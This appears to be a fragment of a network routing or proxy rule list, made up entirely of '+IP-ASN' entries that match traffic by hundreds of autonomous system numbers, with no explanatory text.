+IP-ASN, 1640 +IP-ASN, 12037 +IP-ASN, 13368 +IP-ASN, 13367 +IP-ASN, 36003 +IP-ASN, 36002 +IP-ASN, 36001 +IP-ASN, 14699 +IP-ASN, 1643 +IP-ASN, 1642 +IP-ASN, 1648 +IP-ASN, 1647 +IP-ASN, 26683 +IP-ASN, 1646 +IP-ASN, 26682 +IP-ASN, 26685 +IP-ASN, 26686 +IP-ASN, 1649 +IP-ASN, 207439 +IP-ASN, 26679 +IP-ASN, 208768 +IP-ASN, 13371 +IP-ASN, 13370 +IP-ASN, 12042 +IP-ASN, 12041 +IP-ASN, 13372 +IP-ASN, 12044 +IP-ASN, 13374 +IP-ASN, 13377 +IP-ASN, 13376 +IP-ASN, 14689 +IP-ASN, 1651 +IP-ASN, 12025 +IP-ASN, 13356 +IP-ASN, 1650 +IP-ASN, 13359 +IP-ASN, 12028 +IP-ASN, 14687 +IP-ASN, 14688 +IP-ASN, 1652 +IP-ASN, 26670 +IP-ASN, 1657 +IP-ASN, 26671 +IP-ASN, 26674 +IP-ASN, 26673 +IP-ASN, 26675 +IP-ASN, 26667 +IP-ASN, 24004 +IP-ASN, 26666 +IP-ASN, 26669 +IP-ASN, 208757 +IP-ASN, 14693 +IP-ASN, 14690 +IP-ASN, 12031 +IP-ASN, 12033 +IP-ASN, 14696 +IP-ASN, 14697 +IP-ASN, 14695 +IP-ASN, 13346 +IP-ASN, 14679 +IP-ASN, 1661 +IP-ASN, 13348 +IP-ASN, 14676 +IP-ASN, 13347 +IP-ASN, 14677 +IP-ASN, 12016 +IP-ASN, 13349 +IP-ASN, 12018 +IP-ASN, 26661 +IP-ASN, 26660 +IP-ASN, 26662 +IP-ASN, 26665 +IP-ASN, 26664 +IP-ASN, 26656 +IP-ASN, 26655 +IP-ASN, 26658 +IP-ASN, 207414 +IP-ASN, 26657 +IP-ASN, 207419 +IP-ASN, 14681 +IP-ASN, 13351 +IP-ASN, 12020 +IP-ASN, 12022 +IP-ASN, 14686 +IP-ASN, 13352 +IP-ASN, 12024 +IP-ASN, 13354 +IP-ASN, 13335 +IP-ASN, 13337 +IP-ASN, 12005 +IP-ASN, 13336 +IP-ASN, 1670 +IP-ASN, 14666 +IP-ASN, 12008 +IP-ASN, 12007 +IP-ASN, 14669 +IP-ASN, 12009 +IP-ASN, 26650 +IP-ASN, 1678 +IP-ASN, 26652 +IP-ASN, 26651 +IP-ASN, 26654 +IP-ASN, 26653 +IP-ASN, 26645 +IP-ASN, 26647 +IP-ASN, 26646 +IP-ASN, 26649 +IP-ASN, 26648 +IP-ASN, 14671 +IP-ASN, 13342 +IP-ASN, 12011 +IP-ASN, 13341 +IP-ASN, 14675 +IP-ASN, 14672 +IP-ASN, 13344 +IP-ASN, 12013 +IP-ASN, 12012 +IP-ASN, 13343 +IP-ASN, 13324 +IP-ASN, 14657 +IP-ASN, 13326 +IP-ASN, 14654 +IP-ASN, 13325 +IP-ASN, 1600 +IP-ASN, 13327 +IP-ASN, 15989 +IP-ASN, 13329 +IP-ASN, 2936 +IP-ASN, 1603 +IP-ASN, 1602 +IP-ASN, 2939 +IP-ASN, 2933 +IP-ASN, 26643 +IP-ASN, 1606 +IP-ASN, 1605 +IP-ASN, 150802 +IP-ASN, 26633 +IP-ASN, 26638 +IP-ASN, 26637 +IP-ASN, 14660 +IP-ASN, 13331 +IP-ASN, 13330 +IP-ASN, 13333 +IP-ASN, 12001 +IP-ASN, 14662 +IP-ASN, 13332 +IP-ASN, 13313 +IP-ASN, 14645 +IP-ASN, 13312 +IP-ASN, 2941 +IP-ASN, 14643 +IP-ASN, 13315 +IP-ASN, 13314 +IP-ASN, 14649 +IP-ASN, 1611 +IP-ASN, 1610 +IP-ASN, 1615 +IP-ASN, 1614 +IP-ASN, 26630 +IP-ASN, 26632 +IP-ASN, 1617 +IP-ASN, 1616 +IP-ASN, 26631 +IP-ASN, 1609 +IP-ASN, 26627 +IP-ASN, 26629 +IP-ASN, 14652 +IP-ASN, 14653 +IP-ASN, 13322 +IP-ASN, 14634 +IP-ASN, 14635 +IP-ASN, 14632 +IP-ASN, 14638 +IP-ASN, 1622 +IP-ASN, 1621 +IP-ASN, 14639 +IP-ASN, 1620 +IP-ASN, 14636 +IP-ASN, 14637 +IP-ASN, 1627 +IP-ASN, 14640 +IP-ASN, 14623 +IP-ASN, 14622 +IP-ASN, 14627 +IP-ASN, 1632 +IP-ASN, 14628 +IP-ASN, 1631 +IP-ASN, 14625 +IP-ASN, 14626 +IP-ASN, 1637 +IP-ASN, 1636 +IP-ASN, 1635 +IP-ASN, 1638 +IP-ASN, 14630 +IP-ASN, 14631 +IP-ASN, 2903 +IP-ASN, 2906 +IP-ASN, 2900 +IP-ASN, 2901 +IP-ASN, 2902 +IP-ASN, 2914 +IP-ASN, 2912 +IP-ASN, 2909 +IP-ASN, 50286 +IP-ASN, 2920 +IP-ASN, 2928 +IP-ASN, 2923 +IP-ASN, 2924 +IP-ASN, 62296 +IP-ASN, 26589 +IP-ASN, 14599 +IP-ASN, 26582 +IP-ASN, 26584 +IP-ASN, 26585 +IP-ASN, 26588 +IP-ASN, 26587 +IP-ASN, 26579 +IP-ASN, 14588 +IP-ASN, 14589 +IP-ASN, 26573 +IP-ASN, 26577 +IP-ASN, 26576 +IP-ASN, 26569 +IP-ASN, 14590 +IP-ASN, 14593 +IP-ASN, 14594 +IP-ASN, 14591 +IP-ASN, 14597 +IP-ASN, 14598 +IP-ASN, 40866 +IP-ASN, 40868 +IP-ASN, 40862 +IP-ASN, 40863 +IP-ASN, 40860 +IP-ASN, 40861 +IP-ASN, 197547 +IP-ASN, 38551 +IP-ASN, 399170 +IP-ASN, 40877 +IP-ASN, 40878 +IP-ASN, 40875 +IP-ASN, 40879 +IP-ASN, 40872 +IP-ASN, 399187 +IP-ASN, 399184 +IP-ASN, 399185 +IP-ASN, 399182 +IP-ASN, 399183 +IP-ASN, 40889 +IP-ASN, 40886 +IP-ASN, 40887 +IP-ASN, 40885 +IP-ASN, 40882 +IP-ASN, 49217 +IP-ASN, 399190 +IP-ASN, 197569 +IP-ASN, 399198 +IP-ASN, 399195 +IP-ASN, 399196 +IP-ASN, 399193 +IP-ASN, 40898 +IP-ASN, 40891 +IP-ASN, 40892 +IP-ASN, 40890 +IP-ASN, 40893 +IP-ASN, 400615 +IP-ASN, 400618 +IP-ASN, 400619 +IP-ASN, 400610 +IP-ASN, 400613 +IP-ASN, 400614 +IP-ASN, 50236 +IP-ASN, 400626 +IP-ASN, 400627 +IP-ASN, 400629 +IP-ASN, 400622 +IP-ASN, 400624 +IP-ASN, 206081 +IP-ASN, 50245 +IP-ASN, 206070 +IP-ASN, 147297 +IP-ASN, 400608 +IP-ASN, 400609 +IP-ASN, 399216 +IP-ASN, 399215 +IP-ASN, 399212 +IP-ASN, 400770 +IP-ASN, 400771 +IP-ASN, 399211 +IP-ASN, 400773 +IP-ASN, 400776 +IP-ASN, 400779 +IP-ASN, 399225 +IP-ASN, 399223 +IP-ASN, 399224 +IP-ASN, 399221 +IP-ASN, 400781 +IP-ASN, 400782 +IP-ASN, 399222 +IP-ASN, 150717 +IP-ASN, 400783 +IP-ASN, 399220 +IP-ASN, 400784 +IP-ASN, 400785 +IP-ASN, 400786 +IP-ASN, 40800 +IP-ASN, 399238 +IP-ASN, 40801 +IP-ASN, 399239 +IP-ASN, 40804 +IP-ASN, 399234 +IP-ASN, 40805 +IP-ASN, 399235 +IP-ASN, 399232 +IP-ASN, 399233 +IP-ASN, 40803 +IP-ASN, 400758 +IP-ASN, 400759 +IP-ASN, 399231 +IP-ASN, 40807 +IP-ASN, 400754 +IP-ASN, 400756 +IP-ASN, 400757 +IP-ASN, 399249 +IP-ASN, 399247 +IP-ASN, 40810 +IP-ASN, 40816 +IP-ASN, 40813 +IP-ASN, 399244 +IP-ASN, 400769 +IP-ASN, 40819 +IP-ASN, 399241 +IP-ASN, 400761 +IP-ASN, 399242 +IP-ASN, 40817 +IP-ASN, 399240 +IP-ASN, 400765 +IP-ASN, 400767 +IP-ASN, 40823 +IP-ASN, 136468 +IP-ASN, 399256 +IP-ASN, 40827 +IP-ASN, 399257 +IP-ASN, 40824 +IP-ASN, 399254 +IP-ASN, 40825 +IP-ASN, 399255 +IP-ASN, 399252 +IP-ASN, 399253 +IP-ASN, 40828 +IP-ASN, 399250 +IP-ASN, 399251 +IP-ASN, 40833 +IP-ASN, 40834 +IP-ASN, 40831 +IP-ASN, 399269 +IP-ASN, 40832 +IP-ASN, 40837 +IP-ASN, 399268 +IP-ASN, 399265 +IP-ASN, 40836 +IP-ASN, 399266 +IP-ASN, 40839 +IP-ASN, 399262 +IP-ASN, 39855 +IP-ASN, 40844 +IP-ASN, 40845 +IP-ASN, 40842 +IP-ASN, 400790 +IP-ASN, 40848 +IP-ASN, 40849 +IP-ASN, 400791 +IP-ASN, 399276 +IP-ASN, 40847 +IP-ASN, 40841 +IP-ASN, 399274 +IP-ASN, 399275 +IP-ASN, 400797 +IP-ASN, 399270 +IP-ASN, 400798 +IP-ASN, 400799 +IP-ASN, 399271 +IP-ASN, 40853 +IP-ASN, 40857 +IP-ASN, 399287 +IP-ASN, 40858 +IP-ASN, 399288 +IP-ASN, 40851 +IP-ASN, 40850 +IP-ASN, 399285 +IP-ASN, 399281 +IP-ASN, 399282 +IP-ASN, 14579 +IP-ASN, 1761 +IP-ASN, 1767 +IP-ASN, 1766 +IP-ASN, 26564 +IP-ASN, 26566 +IP-ASN, 26565 +IP-ASN, 26557 +IP-ASN, 26556 +IP-ASN, 26558 +IP-ASN, 14582 +IP-ASN, 14583 +IP-ASN, 14586 +IP-ASN, 14584 +IP-ASN, 14585 +IP-ASN, 1772 +IP-ASN, 14569 +IP-ASN, 14566 +IP-ASN, 14567 +IP-ASN, 26551 +IP-ASN, 26550 +IP-ASN, 1777 +IP-ASN, 26552 +IP-ASN, 26555 +IP-ASN, 26554 +IP-ASN, 26545 +IP-ASN, 26548 +IP-ASN, 26549 +IP-ASN, 14572 +IP-ASN, 14570 +IP-ASN, 14575 +IP-ASN, 14576 +IP-ASN, 14574 +IP-ASN, 1782 +IP-ASN, 14558 +IP-ASN, 14556 +IP-ASN, 1787 +IP-ASN, 1785 +IP-ASN, 14559 +IP-ASN, 26541 +IP-ASN, 26543 +IP-ASN, 26535 +IP-ASN, 26534 +IP-ASN, 26539 +IP-ASN, 26538 +IP-ASN, 14561 +IP-ASN, 14565 +IP-ASN, 14544 +IP-ASN, 14545 +IP-ASN, 1798 +IP-ASN, 14549 +IP-ASN, 26533 +IP-ASN, 26532 +IP-ASN, 26524 +IP-ASN, 26526 +IP-ASN, 26527 +IP-ASN, 26529 +IP-ASN, 14550 +IP-ASN, 1790 +IP-ASN, 14554 +IP-ASN, 14551 +IP-ASN, 14536 +IP-ASN, 14533 +IP-ASN, 14539 +IP-ASN, 14537 +IP-ASN, 14538 +IP-ASN, 26520 +IP-ASN, 26513 +IP-ASN, 26512 +IP-ASN, 26515 +IP-ASN, 26517 +IP-ASN, 26518 +IP-ASN, 14543 +IP-ASN, 14524 +IP-ASN, 14525 +IP-ASN, 14523 +IP-ASN, 14528 +IP-ASN, 14529 +IP-ASN, 14527 +IP-ASN, 1736 +IP-ASN, 1734 +IP-ASN, 1733 +IP-ASN, 26511 +IP-ASN, 26510 +IP-ASN, 26503 +IP-ASN, 26506 +IP-ASN, 26508 +IP-ASN, 26507 +IP-ASN, 14531 +IP-ASN, 14532 +IP-ASN, 14513 +IP-ASN, 14514 +IP-ASN, 14511 +IP-ASN, 14512 +IP-ASN, 19 +IP-ASN, 1742 +IP-ASN, 14518 +IP-ASN, 17 +IP-ASN, 14515 +IP-ASN, 18 +IP-ASN, 1747 +IP-ASN, 1746 +IP-ASN, 16 +IP-ASN, 14519 +IP-ASN, 13 +IP-ASN, 14 +IP-ASN, 12 +IP-ASN, 26500 +IP-ASN, 10 +IP-ASN, 210902 +IP-ASN, 14521 +IP-ASN, 399205 +IP-ASN, 399206 +IP-ASN, 14503 +IP-ASN, 399203 +IP-ASN, 14501 +IP-ASN, 399201 +IP-ASN, 14506 +IP-ASN, 14507 +IP-ASN, 29 +IP-ASN, 399200 +IP-ASN, 14505 +IP-ASN, 1751 +IP-ASN, 26 +IP-ASN, 1757 +IP-ASN, 27 +IP-ASN, 24 +IP-ASN, 14508 +IP-ASN, 25 +IP-ASN, 14509 +IP-ASN, 399209 +IP-ASN, 22 +IP-ASN, 20 +IP-ASN, 399207 +IP-ASN, 21 +IP-ASN, 399208 +IP-ASN, 62134 +IP-ASN, 63461 +IP-ASN, 37 +IP-ASN, 63462 +IP-ASN, 38 +IP-ASN, 63463 +IP-ASN, 35 +IP-ASN, 63464 +IP-ASN, 33 +IP-ASN, 63465 +IP-ASN, 34 +IP-ASN, 63466 +IP-ASN, 31 +IP-ASN, 63467 +IP-ASN, 63468 +IP-ASN, 32 +IP-ASN, 30 +IP-ASN, 63458 +IP-ASN, 63459 +IP-ASN, 63450 +IP-ASN, 48 +IP-ASN, 63451 +IP-ASN, 49 +IP-ASN, 63452 +IP-ASN, 46 +IP-ASN, 47 +IP-ASN, 63454 +IP-ASN, 44 +IP-ASN, 63455 +IP-ASN, 45 +IP-ASN, 42 +IP-ASN, 63457 +IP-ASN, 43 +IP-ASN, 63460 +IP-ASN, 59 +IP-ASN, 63483 +IP-ASN, 63484 +IP-ASN, 1702 +IP-ASN, 57 +IP-ASN, 1701 +IP-ASN, 1700 +IP-ASN, 63486 +IP-ASN, 55 +IP-ASN, 63487 +IP-ASN, 56 +IP-ASN, 1706 +IP-ASN, 52 +IP-ASN, 50 +IP-ASN, 49187 +IP-ASN, 26490 +IP-ASN, 26492 +IP-ASN, 26491 +IP-ASN, 63472 +IP-ASN, 63473 +IP-ASN, 26496 +IP-ASN, 63474 +IP-ASN, 68 +IP-ASN, 63475 +IP-ASN, 26495 +IP-ASN, 63476 +IP-ASN, 26498 +IP-ASN, 63477 +IP-ASN, 63478 +IP-ASN, 65 +IP-ASN, 63479 +IP-ASN, 62 +IP-ASN, 63 +IP-ASN, 63480 +IP-ASN, 63481 +IP-ASN, 26481 +IP-ASN, 26483 +IP-ASN, 26485 +IP-ASN, 77 +IP-ASN, 26487 +IP-ASN, 78 +IP-ASN, 26489 +IP-ASN, 75 +IP-ASN, 26488 +IP-ASN, 73 +IP-ASN, 26479 +IP-ASN, 72 +IP-ASN, 70 +IP-ASN, 210883 +IP-ASN, 26470 +IP-ASN, 26472 +IP-ASN, 26471 +IP-ASN, 26476 +IP-ASN, 88 +IP-ASN, 89 +IP-ASN, 26475 +IP-ASN, 26478 +IP-ASN, 207223 +IP-ASN, 87 +IP-ASN, 26477 +IP-ASN, 84 +IP-ASN, 85 +IP-ASN, 82 +IP-ASN, 81 +IP-ASN, 14495 +IP-ASN, 14492 +IP-ASN, 14498 +IP-ASN, 14499 +IP-ASN, 14496 +IP-ASN, 14478 +IP-ASN, 26461 +IP-ASN, 26463 +IP-ASN, 26462 +IP-ASN, 26465 +IP-ASN, 26464 +IP-ASN, 97 +IP-ASN, 26467 +IP-ASN, 98 +IP-ASN, 26457 +IP-ASN, 26459 +IP-ASN, 91 +IP-ASN, 92 +IP-ASN, 14480 +IP-ASN, 14483 +IP-ASN, 14482 +IP-ASN, 14487 +IP-ASN, 14488 +IP-ASN, 14486 +IP-ASN, 14469 +IP-ASN, 14467 +IP-ASN, 26450 +IP-ASN, 26452 +IP-ASN, 26451 +IP-ASN, 26454 +IP-ASN, 26455 +IP-ASN, 26447 +IP-ASN, 26446 +IP-ASN, 26449 +IP-ASN, 26448 +IP-ASN, 14473 +IP-ASN, 14471 +IP-ASN, 14477 +IP-ASN, 62190 +IP-ASN, 40746 +IP-ASN, 40743 +IP-ASN, 40744 +IP-ASN, 40749 +IP-ASN, 40747 +IP-ASN, 399298 +IP-ASN, 40748 +IP-ASN, 399299 +IP-ASN, 40742 +IP-ASN, 40740 +IP-ASN, 399296 +IP-ASN, 399295 +IP-ASN, 399292 +IP-ASN, 399293 +IP-ASN, 399290 +IP-ASN, 40757 +IP-ASN, 40754 +IP-ASN, 40755 +IP-ASN, 40752 +IP-ASN, 40750 +IP-ASN, 400703 +IP-ASN, 400704 +IP-ASN, 400705 +IP-ASN, 400706 +IP-ASN, 400707 +IP-ASN, 63403 +IP-ASN, 63404 +IP-ASN, 63405 +IP-ASN, 40765 +IP-ASN, 63406 +IP-ASN, 40766 +IP-ASN, 63407 +IP-ASN, 40769 +IP-ASN, 40760 +IP-ASN, 40763 +IP-ASN, 40764 +IP-ASN, 63400 +IP-ASN, 40761 +IP-ASN, 63401 +IP-ASN, 63402 +IP-ASN, 40762 +IP-ASN, 40778 +IP-ASN, 40777 +IP-ASN, 40771 +IP-ASN, 40774 +IP-ASN, 40772 +IP-ASN, 40773 +IP-ASN, 63425 +IP-ASN, 63427 +IP-ASN, 63428 +IP-ASN, 40781 +IP-ASN, 40782 +IP-ASN, 40780 +IP-ASN, 40785 +IP-ASN, 63422 +IP-ASN, 40783 +IP-ASN, 40784 +IP-ASN, 63424 +IP-ASN, 400737 +IP-ASN, 400730 +IP-ASN, 400731 +IP-ASN, 400732 +IP-ASN, 400733 +IP-ASN, 400734 +IP-ASN, 400735 +IP-ASN, 63414 +IP-ASN, 63415 +IP-ASN, 40798 +IP-ASN, 40799 +IP-ASN, 63417 +IP-ASN, 63418 +IP-ASN, 40793 +IP-ASN, 40790 +IP-ASN, 40791 +IP-ASN, 63410 +IP-ASN, 40796 +IP-ASN, 40794 +IP-ASN, 63412 +IP-ASN, 63413 +IP-ASN, 40795 +IP-ASN, 400749 +IP-ASN, 38481 +IP-ASN, 198701 +IP-ASN, 49132 +IP-ASN, 400742 +IP-ASN, 400743 +IP-ASN, 63448 +IP-ASN, 63449 +IP-ASN, 63440 +IP-ASN, 63441 +IP-ASN, 63442 +IP-ASN, 63443 +IP-ASN, 63445 +IP-ASN, 400714 +IP-ASN, 400716 +IP-ASN, 400718 +IP-ASN, 400719 +IP-ASN, 400710 +IP-ASN, 400711 +IP-ASN, 400712 +IP-ASN, 400713 +IP-ASN, 63436 +IP-ASN, 63430 +IP-ASN, 63431 +IP-ASN, 63433 +IP-ASN, 63434 +IP-ASN, 63435 +IP-ASN, 400725 +IP-ASN, 49159 +IP-ASN, 400726 +IP-ASN, 400727 +IP-ASN, 400729 +IP-ASN, 400722 +IP-ASN, 400723 +IP-ASN, 399338 +IP-ASN, 398007 +IP-ASN, 398004 +IP-ASN, 398005 +IP-ASN, 398002 +IP-ASN, 400890 +IP-ASN, 399334 +IP-ASN, 398003 +IP-ASN, 399331 +IP-ASN, 398000 +IP-ASN, 399332 +IP-ASN, 398001 +IP-ASN, 398009 +IP-ASN, 400893 +IP-ASN, 399330 +IP-ASN, 400896 +IP-ASN, 400897 +IP-ASN, 400899 +IP-ASN, 398017 +IP-ASN, 398018 +IP-ASN, 399346 +IP-ASN, 398015 +IP-ASN, 399347 +IP-ASN, 398013 +IP-ASN, 399344 +IP-ASN, 399345 +IP-ASN, 398014 +IP-ASN, 398011 +IP-ASN, 399342 +IP-ASN, 398019 +IP-ASN, 398010 +IP-ASN, 399341 +IP-ASN, 138947 +IP-ASN, 398028 +IP-ASN, 138948 +IP-ASN, 398029 +IP-ASN, 398026 +IP-ASN, 399358 +IP-ASN, 398027 +IP-ASN, 398024 +IP-ASN, 398025 +IP-ASN, 399356 +IP-ASN, 398022 +IP-ASN, 399353 +IP-ASN, 398023 +IP-ASN, 398020 +IP-ASN, 399352 +IP-ASN, 398021 +IP-ASN, 399350 +IP-ASN, 398037 +IP-ASN, 399368 +IP-ASN, 399369 +IP-ASN, 399366 +IP-ASN, 398035 +IP-ASN, 399367 +IP-ASN, 399364 +IP-ASN, 398033 +IP-ASN, 399365 +IP-ASN, 398034 +IP-ASN, 399362 +IP-ASN, 400882 +IP-ASN, 398031 +IP-ASN, 400883 +IP-ASN, 399363 +IP-ASN, 399360 +IP-ASN, 399361 +IP-ASN, 400885 +IP-ASN, 398030 +IP-ASN, 400886 +IP-ASN, 40702 +IP-ASN, 398048 +IP-ASN, 399377 +IP-ASN, 399378 +IP-ASN, 40706 +IP-ASN, 398044 +IP-ASN, 40703 +IP-ASN, 40704 +IP-ASN, 151980 +IP-ASN, 398045 +IP-ASN, 40709 +IP-ASN, 399374 +IP-ASN, 399371 +IP-ASN, 399372 +IP-ASN, 399370 +IP-ASN, 40713 +IP-ASN, 40710 +IP-ASN, 40711 +IP-ASN, 40716 +IP-ASN, 399388 +IP-ASN, 398057 +IP-ASN, 40717 +IP-ASN, 398058 +IP-ASN, 399386 +IP-ASN, 40714 +IP-ASN, 399387 +IP-ASN, 398056 +IP-ASN, 40715 +IP-ASN, 151975 +IP-ASN, 399384 +IP-ASN, 398053 +IP-ASN, 399382 +IP-ASN, 40718 +IP-ASN, 398051 +IP-ASN, 40719 +IP-ASN, 398052 +IP-ASN, 399381 +IP-ASN, 398050 +IP-ASN, 40723 +IP-ASN, 40724 +IP-ASN, 40721 +IP-ASN, 40722 +IP-ASN, 398068 +IP-ASN, 399399 +IP-ASN, 40728 +IP-ASN, 40725 +IP-ASN, 398066 +IP-ASN, 40726 +IP-ASN, 40720 +IP-ASN, 399395 +IP-ASN, 398065 +IP-ASN, 40729 +IP-ASN, 398062 +IP-ASN, 398063 +IP-ASN, 398060 +IP-ASN, 399392 +IP-ASN, 399390 +IP-ASN, 40734 +IP-ASN, 40735 +IP-ASN, 40732 +IP-ASN, 398079 +IP-ASN, 40738 +IP-ASN, 40739 +IP-ASN, 135004 +IP-ASN, 40736 +IP-ASN, 40737 +IP-ASN, 40731 +IP-ASN, 398073 +IP-ASN, 398074 +IP-ASN, 398071 +IP-ASN, 398072 +IP-ASN, 398070 +IP-ASN, 14458 +IP-ASN, 14459 +IP-ASN, 26440 +IP-ASN, 26443 +IP-ASN, 26442 +IP-ASN, 26436 +IP-ASN, 26438 +IP-ASN, 26437 +IP-ASN, 26439 +IP-ASN, 14461 +IP-ASN, 14460 +IP-ASN, 14465 +IP-ASN, 14466 +IP-ASN, 14464 +IP-ASN, 14448 +IP-ASN, 14445 +IP-ASN, 13117 +IP-ASN, 14446 +IP-ASN, 14449 +IP-ASN, 26432 +IP-ASN, 26425 +IP-ASN, 26424 +IP-ASN, 210836 +IP-ASN, 26429 +IP-ASN, 26428 +IP-ASN, 14450 +IP-ASN, 14454 +IP-ASN, 14452 +IP-ASN, 14437 +IP-ASN, 14438 +IP-ASN, 26421 +IP-ASN, 26420 +IP-ASN, 26423 +IP-ASN, 26414 +IP-ASN, 26415 +IP-ASN, 208504 +IP-ASN, 26417 +IP-ASN, 26419 +IP-ASN, 14440 +IP-ASN, 14443 +IP-ASN, 14425 +IP-ASN, 14423 +IP-ASN, 14424 +IP-ASN, 14427 +IP-ASN, 14428 +IP-ASN, 26410 +IP-ASN, 26411 +IP-ASN, 26403 +IP-ASN, 26402 +IP-ASN, 26405 +IP-ASN, 26404 +IP-ASN, 26407 +IP-ASN, 26406 +IP-ASN, 26409 +IP-ASN, 14433 +IP-ASN, 14430 +IP-ASN, 14431 +IP-ASN, 14414 +IP-ASN, 14415 +IP-ASN, 14413 +IP-ASN, 1842 +IP-ASN, 14418 +IP-ASN, 14419 +IP-ASN, 14416 +IP-ASN, 14417 +IP-ASN, 1843 +IP-ASN, 209811 +IP-ASN, 1848 +IP-ASN, 26400 +IP-ASN, 14421 +IP-ASN, 399305 +IP-ASN, 14404 +IP-ASN, 138938 +IP-ASN, 14401 +IP-ASN, 399303 +IP-ASN, 399300 +IP-ASN, 399301 +IP-ASN, 14408 +IP-ASN, 1852 +IP-ASN, 14409 +IP-ASN, 1855 +IP-ASN, 399308 +IP-ASN, 399306 +IP-ASN, 399307 +IP-ASN, 14410 +IP-ASN, 14411 +IP-ASN, 399315 +IP-ASN, 399313 +IP-ASN, 399314 +IP-ASN, 399311 +IP-ASN, 399310 +IP-ASN, 399317 +IP-ASN, 399326 +IP-ASN, 399325 +IP-ASN, 399322 +IP-ASN, 399321 +IP-ASN, 15718 +IP-ASN, 399328 +IP-ASN, 399329 +IP-ASN, 63348 +IP-ASN, 63340 +IP-ASN, 63341 +IP-ASN, 63342 +IP-ASN, 63343 +IP-ASN, 63344 +IP-ASN, 63345 +IP-ASN, 63346 +IP-ASN, 63339 +IP-ASN, 26391 +IP-ASN, 26395 +IP-ASN, 26394 +IP-ASN, 63330 +IP-ASN, 26397 +IP-ASN, 63331 +IP-ASN, 63332 +IP-ASN, 26396 +IP-ASN, 63333 +IP-ASN, 26399 +IP-ASN, 26398 +IP-ASN, 63335 +IP-ASN, 63336 +IP-ASN, 1809 +IP-ASN, 1820 +IP-ASN, 26380 +IP-ASN, 26381 +IP-ASN, 63362 +IP-ASN, 26383 +IP-ASN, 207134 +IP-ASN, 1823 +IP-ASN, 63364 +IP-ASN, 63365 +IP-ASN, 1821 +IP-ASN, 26385 +IP-ASN, 1828 +IP-ASN, 26388 +IP-ASN, 63366 +IP-ASN, 1827 +IP-ASN, 63368 +IP-ASN, 1826 +IP-ASN, 63369 +IP-ASN, 1819 +IP-ASN, 1818 +IP-ASN, 63370 +IP-ASN, 63371 +IP-ASN, 210781 +IP-ASN, 1830 +IP-ASN, 62021 +IP-ASN, 26371 +IP-ASN, 26370 +IP-ASN, 26373 +IP-ASN, 26372 +IP-ASN, 26375 +IP-ASN, 63353 +IP-ASN, 1832 +IP-ASN, 63354 +IP-ASN, 63355 +IP-ASN, 26376 +IP-ASN, 63357 +IP-ASN, 26379 +IP-ASN, 26378 +IP-ASN, 208459 +IP-ASN, 210779 +IP-ASN, 14390 +IP-ASN, 14395 +IP-ASN, 14397 +IP-ASN, 14398 +IP-ASN, 14379 +IP-ASN, 26362 +IP-ASN, 26364 +IP-ASN, 63386 +IP-ASN, 26363 +IP-ASN, 63387 +IP-ASN, 26365 +IP-ASN, 26367 +IP-ASN, 26359 +IP-ASN, 26358 +IP-ASN, 63390 +IP-ASN, 14380 +IP-ASN, 14381 +IP-ASN, 63392 +IP-ASN, 63394 +IP-ASN, 14384 +IP-ASN, 210762 +IP-ASN, 14385 +IP-ASN, 14382 +IP-ASN, 210765 +IP-ASN, 14383 +IP-ASN, 14388 +IP-ASN, 14389 +IP-ASN, 50069 +IP-ASN, 14386 +IP-ASN, 210761 +IP-ASN, 14368 +IP-ASN, 14369 +IP-ASN, 26351 +IP-ASN, 63374 +IP-ASN, 63375 +IP-ASN, 26353 +IP-ASN, 63376 +IP-ASN, 26355 +IP-ASN, 63378 +IP-ASN, 63379 +IP-ASN, 26356 +IP-ASN, 26348 +IP-ASN, 26347 +IP-ASN, 63380 +IP-ASN, 63383 +IP-ASN, 14373 +IP-ASN, 14374 +IP-ASN, 50075 +IP-ASN, 14371 +IP-ASN, 14378 +IP-ASN, 26342 +IP-ASN, 26341 +IP-ASN, 26344 +IP-ASN, 26343 +IP-ASN, 26345 +IP-ASN, 26337 +IP-ASN, 26336 +IP-ASN, 26338 +IP-ASN, 14362 +IP-ASN, 14363 +IP-ASN, 14360 +IP-ASN, 14361 +IP-ASN, 14365 +IP-ASN, 14348 +IP-ASN, 14349 +IP-ASN, 63395 +IP-ASN, 63397 +IP-ASN, 63398 +IP-ASN, 26330 +IP-ASN, 63399 +IP-ASN, 26333 +IP-ASN, 26335 +IP-ASN, 26334 +IP-ASN, 208417 +IP-ASN, 26326 +IP-ASN, 26325 +IP-ASN, 26328 +IP-ASN, 26327 +IP-ASN, 26329 +IP-ASN, 14351 +IP-ASN, 14352 +IP-ASN, 14350 +IP-ASN, 14355 +IP-ASN, 14353 +IP-ASN, 40625 +IP-ASN, 40623 +IP-ASN, 40628 +IP-ASN, 40626 +IP-ASN, 40627 +IP-ASN, 398089 +IP-ASN, 40620 +IP-ASN, 53934 +IP-ASN, 53933 +IP-ASN, 400816 +IP-ASN, 53938 +IP-ASN, 400818 +IP-ASN, 53939 +IP-ASN, 53936 +IP-ASN, 53937 +IP-ASN, 398086 +IP-ASN, 398084 +IP-ASN, 398085 +IP-ASN, 53930 +IP-ASN, 400810 +IP-ASN, 53931 +IP-ASN, 400811 +IP-ASN, 398080 +IP-ASN, 398081 +IP-ASN, 40636 +IP-ASN, 40633 +IP-ASN, 40639 +IP-ASN, 398099 +IP-ASN, 40638 +IP-ASN, 40631 +IP-ASN, 40632 +IP-ASN, 40630 +IP-ASN, 53945 +IP-ASN, 398090 +IP-ASN, 53946 +IP-ASN, 53943 +IP-ASN, 53944 +IP-ASN, 53949 +IP-ASN, 400828 +IP-ASN, 400829 +IP-ASN, 53947 +IP-ASN, 53948 +IP-ASN, 398097 +IP-ASN, 398098 +IP-ASN, 53941 +IP-ASN, 400820 +IP-ASN, 53942 +IP-ASN, 398091 +IP-ASN, 39655 +IP-ASN, 53940 +IP-ASN, 40646 +IP-ASN, 40647 +IP-ASN, 40644 +IP-ASN, 40645 +IP-ASN, 40648 +IP-ASN, 40642 +IP-ASN, 40640 +IP-ASN, 40641 +IP-ASN, 53956 +IP-ASN, 53957 +IP-ASN, 53959 +IP-ASN, 53951 +IP-ASN, 40657 +IP-ASN, 40658 +IP-ASN, 40655 +IP-ASN, 40656 +IP-ASN, 40659 +IP-ASN, 40651 +IP-ASN, 400804 +IP-ASN, 53966 +IP-ASN, 400806 +IP-ASN, 400807 +IP-ASN, 53964 +IP-ASN, 400800 +IP-ASN, 53962 +IP-ASN, 400801 +IP-ASN, 63304 +IP-ASN, 40668 +IP-ASN, 40669 +IP-ASN, 63305 +IP-ASN, 63306 +IP-ASN, 40666 +IP-ASN, 40667 +IP-ASN, 63307 +IP-ASN, 40661 +IP-ASN, 63301 +IP-ASN, 63302 +IP-ASN, 63303 +IP-ASN, 